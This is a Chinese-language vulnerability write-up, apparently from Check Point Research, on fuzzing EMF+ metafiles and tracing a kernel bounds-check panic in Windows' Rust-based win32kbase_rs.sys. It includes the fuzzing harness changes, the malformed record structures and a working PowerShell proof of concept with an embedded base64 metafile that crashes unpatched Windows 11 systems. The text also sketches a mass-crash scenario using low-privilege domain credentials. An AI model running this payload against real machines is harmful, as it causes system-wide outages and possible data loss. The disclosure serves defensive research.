Windows内核Rust组件中的模糊测试拒绝服务漏洞分析

本文详细分析了Check Point Research在Windows图形设备接口的Rust内核组件中发现的安全漏洞,包括模糊测试方法、漏洞复现技术和内核崩溃分析,展示了Rust在系统级编程中仍面临的安全挑战。

拒绝模糊测试:Windows内核中的Rust组件

摘要

Check Point Research(CPR)于2025年1月发现了一个影响Windows中基于Rust的新内核组件Graphics Device Interface(通常称为GDI)的安全漏洞。我们及时向微软报告了此问题,他们在2025年5月28日发布的KB5058499更新预览版中,从操作系统构建26100.4202开始修复了该漏洞。在以下部分中,我们详细介绍了针对Windows图形组件通过元文件进行的模糊测试活动的方法论,该活动导致了此安全漏洞的发现,以及其他漏洞的技术分析已单独发布在《Drawn to Danger: Bugs in Windows Graphics Lead to Remote Code Execution and Memory Exposure》中。

元文件模糊测试

测试环境

模糊测试是一种广泛使用的软件测试技术,涉及向被测试程序提供无效、意外或随机数据,以识别错误。模糊测试是我们主动安全测试方法的关键部分,我们定期将其应用于广泛使用的系统,如微软的Windows操作系统,以便在潜在漏洞被恶意行为者利用之前识别和解决它们。

可靠的测试环境对于这类工作至关重要。WinAFL是一款功能强大的模糊测试器,以其在多年来识别众多公开承认的漏洞中的作用而闻名,并专门针对Windows二进制文件进行了适配。为了高效进行中等规模的模糊测试,我们需要使用像WinAFL Pet这样的管理工具。这些工具简化了模糊测试作业的创建、配置和监控,同时简化了对应用程序中检测到的任何崩溃的评估。由于在几天甚至几周内运行多个模糊测试器实例可能会导致大量崩溃,因此及时分析导致程序失败的原因非常重要。BugId提供了对程序崩溃背后根本原因的全面快速分析。

目标选择

GDI是Windows操作系统中一个众所周知的核心组件,提供二维矢量图形、成像和排版功能。它通过引入新功能和优化现有功能,增强了早期Windows版本中的图形设备接口。

增强型元文件格式(EMF)包含调用GDI函数的指令。增强型元文件格式Plus(EMF+)是EMF元文件的一种变体,其中EMF+记录嵌入在EMF记录中。这种嵌入之所以成为可能,是因为EMF能够在EMR_COMMENT_EMFPLUS记录中包含任意私有数据。此外,多个EMF+记录可以嵌入到单个EMF记录中,如图1所示。

图1. 带有嵌入EMF+记录的元文件(来源:微软)

EMF文件代表了重要的攻击面。由于其文件体积小,这些文件特别适合模糊测试。尽管EMF文件过去曾是多个漏洞披露的焦点,但向EMF+格式的转变研究分析较少。EMF+格式引入了各种新的元文件记录,增加了处理这些文件的复杂性。因此,在我们当前的研究中,我们专注于与元文件处理相关的GDI子系统的长期攻击面,并基于先前对EMF格式的研究。

测试执行

我们启动了一个模糊测试活动,初始种子文件语料库仅包含16个文件,其中包括几个基于EMF+格式的样本。在仅几天的测试中,模糊测试器识别了几个潜在的安全漏洞,其可能影响范围从信息泄露到任意代码执行。在模糊测试活动期间,我们遇到了一个反复出现的系统崩溃——我们称之为"拒绝模糊测试"条件——这扰乱了我们的研究并导致了一个意外的发现。经过一周的测试,测试系统由于BugCheck而崩溃并重启。这表明模糊测试器遇到了一个影响Windows内核的错误。鉴于我们的主要焦点是用户空间模糊测试,在这种情况下没有直接的方法可用于复现崩溃。然而,重启测试活动导致了相同的结果:系统在几天的测试后再次崩溃,确认了Windows内核中存在一个由初始种子语料库的广泛突变触发的错误。

追查BugCheck

准备工作

这使我们的焦点从发现额外漏洞转向追踪Windows内核中的这个特定错误并一致地复现崩溃。为了实现这一点,我们的第一步是启用内存转储捕获,以便我们可以分析崩溃时操作系统的状态。然而,由于我们使用RAM磁盘进行文件存储,并且模糊测试器实例在共享内存模式下运行(在WinAFL中使用-s选项启用)以提高测试速度,确定崩溃时正在处理的样本仍然是一个挑战,就像大海捞针一样。重启模糊测试活动确认系统崩溃在几天的测试后持续发生,并允许我们收集多个内存快照来分析崩溃模糊测试器实例处理的突变样本。

通过搜索EMF签名在内存转储中定位潜在罪魁祸首的初步尝试没有产生期望的结果,因为通过测试工具运行每个潜在样本未能复现崩溃。为了解决这个问题,我们探索了使用完整内存转储从崩溃模糊测试器实例的队列文件夹中提取文件的可能性。一个潜在的解决方案是使用Volatility,这个著名的内存取证工具,能够通过FileScan模块识别文件并使用DumpFiles模块提取它们。然而,这种方法被证明不太适合自动高效保存大量文件。

MemProcFS工具的取证模式可以自动识别完整内存转储中的文件。由于在测试期间使用了RAM磁盘,我们获得了系统崩溃时刻模糊测试器实际状态的完整快照。我们的下一个目标是减少复现错误所需的时间窗口。我们通过启动新的模糊测试活动来实现这一点,这些活动使用从崩溃模糊测试器实例的队列文件夹中提取的样本派生出的种子文件。这些新的测试活动更快地进入突变阶段,导致系统崩溃更早发生。

接近目标

尽管取得了进展,我们仍然无法随意复现错误。最终,我们实现了一个设置,其中单个模糊测试器实例可以在30分钟内使用836个文件的数据集触发导致错误的突变。这一进展使我们能够修改模糊测试工具,将突变的测试文件通过网络传输到远程服务器。这种方法的主要目标是对模糊测试器的影响最小,并确保它不会对性能或稳定性产生负面影响。为了实现这一点,我们为工具添加了以下send_data()函数,旨在将每个测试的样本传输到远程服务器。建立连接后,函数发送数据大小,然后是实际数据,在每个步骤处理任何潜在错误,如有必要则清理并返回错误代码。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
int send_data(char* data, uint32_t size) {
    WSADATA wsa;
    SOCKET s;
    struct sockaddr_in server;
    wchar_t ip_address[] = L"192.168.1.1";
    
    server.sin_family = AF_INET;
    server.sin_port = htons(4444);

    if (WSAStartup(MAKEWORD(2, 2), &wsa) != 0) {
        return 1;
    }

    if ((s = socket(AF_INET, SOCK_STREAM, 0)) == INVALID_SOCKET) {
        WSACleanup();
        return 1;
    }

    if (InetPton(AF_INET, ip_address, &(server.sin_addr)) != 1) {
        closesocket(s);
        WSACleanup();
        return 1;
    }

    if (connect(s, (struct sockaddr*)&server, sizeof(server)) < 0) {
        closesocket(s);
        WSACleanup();
        return 1;
    }

    uint32_t size_header = htonl(size);
    if (send(s, (char*)&size_header, sizeof(size_header), 0) < 0) {
        closesocket(s);
        WSACleanup();
        return 1;
    }

    if (send(s, data, size, 0) < 0) {
        closesocket(s);
        WSACleanup();
        return 1;
    }

    closesocket(s);
    WSACleanup();
    return 0;
}

清单1. 客户端修改,将每个突变发送到服务器

在服务器端,以下Python脚本主动监听传入连接。每个连接在单独的线程中处理,脚本从模糊测试工具接收样本并将其保存为单独的文件。收集5000个文件后,脚本将它们压缩成ZIP存档并删除原始文件以优化存储使用。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#!/usr/bin/env python3

import os
import socket
import zipfile
import threading

from concurrent.futures import ThreadPoolExecutor

file_counter = 0
file_counter_lock = threading.Lock()
zip_counter = 1

def handle_client(client_socket, address):
    global file_counter, zip_counter

    data_size = int.from_bytes(client_socket.recv(4), byteorder='big')

    data = bytearray()
    while len(data) < data_size:
        packet = client_socket.recv(min(1024, data_size - len(data)))
        if not packet:
            break
        data.extend(packet)

    with file_counter_lock:
        file_counter += 1
        file_name = f"id_{file_counter:06d}"
        print(f"Received {file_counter}")

    with open(file_name, "wb") as file:
        file.write(data)

    if file_counter % 5000 == 0:
        zip_name = f"archive_{zip_counter:03d}.zip"
        with zipfile.ZipFile(zip_name, 'w') as zipf:
            for i in range(file_counter - 4999, file_counter + 1):
                zipf.write(f"id_{i:06d}")
                os.remove(f"id_{i:06d}")
        zip_counter += 1

    client_socket.close()

def main():
    server_ip = "0.0.0.0"
    server_port = 4444

    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.bind((server_ip, server_port))
    server.listen(5)
    print("[*] Waiting for incoming connections...")

    with ThreadPoolExecutor(max_workers=20) as executor:
        while True:
            client_socket, addr = server.accept()
            executor.submit(handle_client, client_socket, addr)

if __name__ == "__main__":
    main()

清单2. 服务器端Python脚本,用于捕获工具发送的突变样本

这种修改使我们能够复现错误,即使它是由处理多个不同测试文件引起的。在更新模糊测试工具后的第一次测试运行中,系统在30分钟后成功崩溃。根据服务器上记录的样本文件,该活动在进行了令人印象深刻的380,000次突变后,达到了负责生成导致崩溃文件的突变。漏洞的技术分析在以下部分概述。

目标

问题出现时

我们通过系统服务异常发现了一个崩溃,该异常发生在win32kbase_rs.sys驱动程序版本10.0.26100.3037内执行NtGdiSelectClipPath系统调用期间。此崩溃的堆栈跟踪显示了微软通过使用Rust在Windows内核中重新实现GDI子系统的REGION数据类型来增强安全性的努力,正如BlueHat IL 2023会议上关于"默认安全"的演示所讨论的那样。这种转变在win32kbase.sys驱动程序中的Win32kRS::RegionCore_set_from_path()函数如何调用新的win32kbase_rs.sys驱动程序中的同名函数中显而易见。值得注意的是,系统崩溃是由这个旨在提高安全性的新内核组件触发的,正如图2所示的堆栈跟踪中引用的panic_bounds_check()函数的名称所暗示的那样。

图2. 系统服务异常的堆栈跟踪

根据易受攻击版本的win32kbase_rs.sys内核驱动程序的反编译源代码,当v109索引超过允许的v86范围时,系统崩溃,如图3所示,触发内核恐慌。这个问题很可能是由v88和v95循环变量在没有适当保护措施的情况下递增超出有效限制引起的。

图3. region_from_path_mut()函数的反编译源代码

错误的原因

当region_from_path_mut()函数将路径转换为区域时,它将轮廓表示为边缘块的单向链表。程序通过core::panicking::panic_bounds_check()检测到越界内存访问并触发SYSTEM_SERVICE_EXCEPTION。

崩溃样本中驱动执行流进入region_from_path_mut()函数的第一个元文件记录是EmfPlusDrawBeziers记录。由此记录产生的路径几何形状产生了导致内存损坏的特定边缘块。当系统播放此记录时,EmfPlusObject记录中指定的几何笔使笔触变宽。当路径在内核中被加宽、展平并转换为区域时,畸形路径数据最终导致越界条件。

以下是指定要使用的笔的EmfPlusObject的相关摘录。如果设置了PenDataStartCap,则在EmfPlusPenData对象的OptionalData字段中指定起始线帽的样式。类似地,PenDataNonCenter指示是否在EmfPlusPenData对象的OptionalData字段中指定笔对齐方式。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
EmfPlusObject pen = {
    .Type                 = 0x4008,     // EmfPlusObject
    .Flags                = 0x0200,     // EmfPlusPen
    .Size                 = 0x00000030,
    .DazaSize             = 0x00000024,
    .ObjectData = {
        .Version          = 0xDBC01002, // EMF+
        .Type             = 0x42200000, // PenDataNonCenter, PenDataStartCap
        .PenDataFlags     = 0x00000202, // UnitTypeInch
        .PenUnit          = 0x00000004,
        .PenWidth         = 0xFFFFFFEE,
        .OptionalData = {
            .StartCap     = 0x0000FC05,
            .PenAlignment = 0x0051E541
        }
    }
};

清单3. 定义Pen对象的元文件记录

以下结构显示了触发漏洞的EmfPlusDrawBeziers记录。它包含通过突变产生的值,包括17个点,尽管声明名义计数仅为4,这在处理过程中被忽略。这种不匹配,连同坐标数据,似乎足以对路径解析逻辑施加压力,并在内核中暴露这种边缘情况行为。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
EmfPlusDrawBeziers beziers = {
    .Type      = 0x4019,
    .Flags     = 0x00D6,      // C=1, P=0, ObjectID=0x36
    .Size      = 0x00000050,  // 80 bytes
    .DataSize  = 0x00000044,  // 68 bytes
    .Count     = 0x00000004,  // nominal count (ignored)
    // PointData is read as EmfPlusPoint objects with absolute coordinates.
    .PointData[17] = {
        { 0xE63D, 0x0000 },   // (-6595 ,     0)
        { 0xFC05, 0x0000 },   // (-1019 ,     0)
        { 0xE541, 0x0051 },   // (-6847 ,    81)
        { 0x0049, 0x7FFF },   // (   73 , 32767)
        { 0x004C, 0x1400 },   // (   76 ,  5120)
        { 0x4008, 0x0202 },   // (16392 ,   514)
        { 0x0067, 0x0000 },   // (  103 ,     0)
        { 0x1002, 0xDBC0 },   // ( 4098 , -9280)
        { 0x001C, 0x0000 },   // (   28 ,     0)
        { 0x0010, 0x0000 },   // (   16 ,     0)
        { 0x1002, 0xDBC0 },   // ( 4098 , -9280)
        { 0x0001, 0x0000 },   // (    1 ,     0)
        { 0x0060, 0x4008 },   // (   96 , 16392)
        { 0x0003, 0x0000 },   // (    3 ,     0)
        { 0x0000, 0x4600 },   // (    0 , 17920)
        { 0x0000, 0x0100 },   // (    0 ,   256)
        { 0x004C, 0x0000 }    // (   76 ,     0)
    }
};

清单4. 定义具有17个绝对点的贝塞尔曲线的元文件记录

演示漏洞

额外的分析表明,当Metafile对象被传递给Graphics::FromImage()以创建Graphics对象时,边界检查特别失败,尽管该方法被记录为仅接受用于绘图的Image对象,如Bitmap。这种误用使得执行能够到达易受攻击的代码路径。通过在从Metafile创建的Graphics对象上调用DrawImage()方法,可以触发最终的BugCheck。以下PowerShell脚本在$b变量中嵌入了一个元文件,其中包含一个特制的EmfPlusDrawBeziers记录,具有畸形的边缘数据。这种方法在标准用户会话中的低完整性级别下工作,并影响x86和x64系统,因为易受攻击的例程驻留在win32kbase_rs.sys驱动程序中。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
Add-Type -AssemblyName System.Drawing;
Add-Type -AssemblyName System.Windows.Forms;

$b = [Convert]::FromBase64String("AQAAAGwAAAAAAAAAACEAAGMAAABgCAAAlQEAAAAAAABvCfMAIAoAACBFTUYAAAEAYAIAAAkAAAABAAAAAAAAAAAAAAAAAAAAgAcAALAEAADYAgAARAH6AAAAAAAAAAAAAAAAAHDnBwCg8QQARgAAACwAAAAAEAAARU1GKwFAAAAcAAAAEAAAAAIQwNsBAAAAYAAAAGAAAABGAAAAFAEAAAgBAABFTUYrCEAAAjAAAAAkAAAAAhDA2wAAIEICAgAABAAAAO7///8F/AAAQeVRAEkAQQBMAAAACEAAAkgAAAA8AAAAAhDA2wAA5f/wAAAALAAAAP///vBGTUor4EAAEAAAAIAQAAAAAhDA2wEAAABgAAhAAwAAAAAAf38SQAAACEACATwAAAAwAAAAuxDA2wQAAAAAAAAAAAAAEAABAADlAAAAAADuQgAAyEIAHgAA/wAA/wAA////AAD/GUAA1lAAAABEAAAABAAAAD3mAAAF/AAAQeVRAEkA/39MAAAUCEACAmcAAAACEMDbHAAAABAAAAACEMDbAQAAAGAACEADAAAAAAAARgAAAAEAAABMAAAAZAAAAAAPAAAAAAwAABAAAABgAAAAD+j///8AAABVEQAAyEIAAMhCAAD///7/7/8AAP/9/wDi/mEAAAApAKoAFgAAAAAAogAAAIA/AAAAAAAAAAAAABAAAPD///8AAAAAAAAAdXV1dXV1dXV1dQD29gAiAAAADAAAAP////9GAAoAAAAAAA4AAABFTUYrGUAA/gsKAAAAAH+ADgAAABQAAAAAAAAAEAASABQNAAA=");

$s = [System.IO.MemoryStream]::new($b);
$f = New-Object System.Windows.Forms.Form;
$g = [System.Drawing.Graphics]::FromHwnd($f.Handle);
$h = $g.GetHdc();
$m = New-Object System.Drawing.Imaging.Metafile($s, $h);

$mg = [System.Drawing.Graphics]::FromImage($m);
$mg.DrawImage([System.Drawing.Image]::FromStream($s),0,0);

清单5. 用于复现漏洞的概念验证PowerShell脚本

所示的概念验证元文件只有在到达内核的边缘块产生特定路径几何形状时才能触发崩溃。以下是三个独立的记录级编辑,可以阻止该布局形成,因此不会执行有错误的代码路径:

  • 翻转C/P标志,使PointData字段作为EmfPlusPointF对象数组读取:$b[0x15f]=0;
  • 增加Size以添加一个额外的平面点:$b[0x160]=84;$b=$b[0..351]+(0,0,0,0)+$b[352..($b.Length-1)];
  • 将DataSize减少到64以删除最后一个点:$b[0x164]=64;

这个问题得到缓解,因为易受攻击的win32kbase_rs.sys组件在Windows Server版本上不存在。我们向微软报告了此漏洞,但MSRC将其分类为中等严重性,表示不需要立即修复。然而,他们在2025年5月补丁星期二之后的几周内,作为功能更新的一部分修复了该漏洞。根据他们的评估:

“Rust代码正确捕获了越界数组访问并触发恐慌,导致蓝屏死机(BSOD),正如预期的那样”

然而,观察到的行为与更广泛的漏洞定义一致。通过处理用户控制输入的用户空间函数触发BSOD应被视为需要安全修复的漏洞。失败的安全检查不应导致系统崩溃。

更重要的是,正如MSRC所确认的,威胁行为者可以利用此缺陷创建恶意元文件,当显示元文件时旨在崩溃目标系统。此类中断可能使企业环境暂时无法操作,导致意外停机并干扰关键业务流程。此外,还可能出现数据丢失或损坏。

想象一个场景,攻击者获得了可以在整个企业中所有系统上登录的低权限域用户的凭据。通过一些脚本技巧,他们可以轻松地在周五下午晚些时候、周一清晨或对业务最不利的选定时间崩溃每个Windows桌面。

微软如何修复漏洞

微软确定这是一个中等严重性的拒绝服务问题,因此选择在非安全更新中解决它。根据微软的说法,修复程序首先在2025年5月28日发布的win32kbase_rs.sys内核模块版本10.0.26100.4202中通过KB5058499提供,并在6月23日当周结束时达到全球全面发布状态。值得注意的是,版本4202引入了对模块的重大更新,反映在文件大小从148 KB增加到164 KB,表明可能与漏洞修复相关的大量内部更改。此更新中修改最严重的组件之一是region_from_path_mut()函数,该函数进行了一些重构。

图5. 函数级差异的可视化,显示region_from_path_mut()函数中的修改

其最显著的变化之一是引入了两个不同的边缘处理例程:add_edge_original()和add_edge_new()。将两个顶点转换为边缘记录并将其插入内存边缘表的GlobalEdgeTable::add_edge()函数现在以这两种形式存在。微软保留了原始逻辑作为add_edge_original(),并实现了一个新的、边界硬化的版本称为add_edge_new()。虽然两种实现产生相同的功能输出,但新版本解决了遗留例程中存在的几个角落情况和潜在内存处理问题。

图6. region_from_path_mut()函数的反编译源代码,显示add_edge_new()函数

一个功能标志Feature_Servicing_Win32kRSPathToRegion_IsEnabled()在运行时确定调用哪个版本。尽管修复程序已经存在于代码库中,但我们在初始测试期间发现此功能标志被禁用。我们只能在调试器中确认修复程序的存在,并且只能在2025年7月补丁星期二之后在生产中稍后验证修复程序。

结论

我们在最近发布的Windows图形组件的Rust代码中发现了一个安全漏洞,可能对系统安全产生严重影响。虽然在Windows内核中采用Rust标志着安全性和可靠性的重要一步,但重要的是要认识到软件工程挑战不能仅通过语言选择来克服。Rust提供了关于内存安全性和类型正确性的强大保证,有助于防止整个类别的错误,如缓冲区溢出和无效指针解引用。然而,严格的安全测试和周到的软件设计仍然至关重要,因为问题仍然可能出现。

在Rust中实现GDI区域和相关函数的情况下,失败的安全检查触发了故意的内核恐慌,也称为蓝屏死机(BSOD)。尽管这次崩溃最初是作为安全机制设计的,例如,在出现问题时作为紧急停止,但这突显了一个更大的担忧。一个恰当的类比可能是家庭报警系统通过炸毁房屋来阻止窃贼。虽然威胁在技术上被中和了,但附带损害过于昂贵。

我们应该旨在保护而不冒系统范围故障风险的安全解决方案。还值得记住的是,这些问题并非Rust独有,而是可能发生在任何其他软件项目中。因此,虽然看到使用内存安全语言重写操作系统关键部分的这一步令人鼓舞,但这个例子也必须提醒人们所涉及的困难以及使用极其彻底的工程标准和原则的必要性。即使严格的标准也不能保证一帆风顺。我们仍然应该预期会遇到意外的错误和漏洞。

我们的发现可能构成了Rust集成到Windows内核后涉及基于Rust的内核组件的第一个公开披露的安全问题。此后不久,我们确定了一个漏洞,该漏洞可能允许攻击者使用特制的元文件崩溃Windows 11版本24H2,如一行概念验证PowerShell脚本所演示的那样。问题仍然是我们是否会在内核中继续看到更多类似的错误。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计